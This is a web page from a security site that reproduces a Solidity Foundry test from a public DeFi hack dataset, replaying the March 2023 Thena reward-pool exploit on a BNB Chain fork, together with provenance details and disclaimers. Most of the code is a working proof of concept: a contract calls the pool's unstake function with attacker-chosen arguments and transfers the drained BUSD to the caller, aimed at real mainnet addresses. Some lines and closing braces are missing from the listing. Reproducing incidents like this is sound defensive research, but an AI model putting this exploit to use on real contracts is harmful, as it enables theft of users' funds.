Skip to content
THREATWIRE

Public reproduction file

src/test/2023-03/Thena_exp.sol

Public reproduction file for dataset entry - Thena.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-03/Thena_exp.sol103 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/LTV888/status/1640563457094451214?t=OBHfonYm9yYKvMros6Uw_g&s=19
9// @Tx
10// https://bscscan.com/tx/0xdf6252854362c3e96fd086d9c3a5397c303d265649aee0b023176bb49cf00d4b
12interface IThenaRewardPool {
13 function unstake(address, uint256, address, bool) external;
16interface IVolatileV1 {
17 function metadata()
18 external
19 view
20 returns (uint256 dec0, uint256 dec1, uint256 r0, uint256 r1, bool st, address t0, address t1);
21 function claimFees() external returns (uint256, uint256);
22 function tokens() external view returns (address, address);
23 function transferFrom(address src, address dst, uint256 amount) external returns (bool);
24 function permit(
25 address owner,
26 address spender,
27 uint256 value,
28 uint256 deadline,
29 uint8 v,
30 bytes32 r,
31 bytes32 s
32 ) external;
33 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
34 function burn(
35 address to
36 ) external returns (uint256 amount0, uint256 amount1);
37 function mint(
38 address to
39 ) external returns (uint256 liquidity);
40 function getReserves() external view returns (uint256 _reserve0, uint256 _reserve1, uint256 _blockTimestampLast);
41 function getAmountOut(uint256, address) external view returns (uint256);
43 function name() external view returns (string memory);
44 function symbol() external view returns (string memory);
45 function totalSupply() external view returns (uint256);
46 function decimals() external view returns (uint8);
48 function claimable0(
49 address _user
50 ) external view returns (uint256);
51 function claimable1(
52 address _user
53 ) external view returns (uint256);
55 function isStable() external view returns (bool);
58contract ContractTest is Test {
59 IERC20 THENA = IERC20(0xF4C8E32EaDEC4BFe97E0F595AdD0f4450a863a11);
60 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
61 IERC20 USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
62 IERC20 wUSDR = IERC20(0x2952beb1326acCbB5243725bd4Da2fC937BCa087);
63 IThenaRewardPool pool = IThenaRewardPool(0x39E29f4FB13AeC505EF32Ee6Ff7cc16e2225B11F);
64 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
65 Uni_Router_V2 Router = Uni_Router_V2(0x20a304a7d126758dfe6B243D0fc515F83bCA8431);
66 Uni_Pair_V2 USDC_BUSD = Uni_Pair_V2(0x618f9Eb0E1a698409621f4F487B563529f003643);
67 IVolatileV1 wUSDR_USDC = IVolatileV1(0xA99c4051069B774102d6D215c6A9ba69BD616E6a);
69 MockThenaRewardPool mock;
71 function setUp() public {
72 cheats.createSelectFork("bsc", 26_834_149);
73 cheats.label(address(THENA), "THENA");
74 cheats.label(address(USDC), "USDC");
75 cheats.label(address(BUSD), "BUSD");
76 cheats.label(address(pool), "ThenaRewardPool");
77 cheats.label(address(Router), "UniV2Router");
78 cheats.label(address(USDC_BUSD), "USDC_BUSD");
79 cheats.label(address(wUSDR), "wUSDR");
80 cheats.label(address(wUSDR_USDC), "wUSDR_USDC");
81 }
83 function testExploit() external {
84 mock = new MockThenaRewardPool();
85 emit log_named_decimal_uint(
86 "Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), BUSD.decimals()
87 );
88 }
91contract MockThenaRewardPool {
92 IThenaRewardPool pool = IThenaRewardPool(0x39E29f4FB13AeC505EF32Ee6Ff7cc16e2225B11F);
93 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
95 constructor() {
96 unstake(address(BUSD), 0, address(this), true);
97 }
99 function unstake(address _token, uint256 _amount, address _pool, bool _sign) internal {
100 pool.unstake(_token, _amount, _pool, _sign);
101 BUSD.transfer(msg.sender, BUSD.balanceOf(address(this)));
102 }

Analysis

Dataset entry

Public Foundry test for “- Thena” (2023-03-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

8 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Thena
Path
src/test/2023-03/Thena_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
db9d148b9fd2c3567f488698db7408821bead888
Language
Solidity
Size
104 lines
Date
2023-03-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-03/Thena_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob db9d148b9fd2c3567f488698db7408821bead888, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.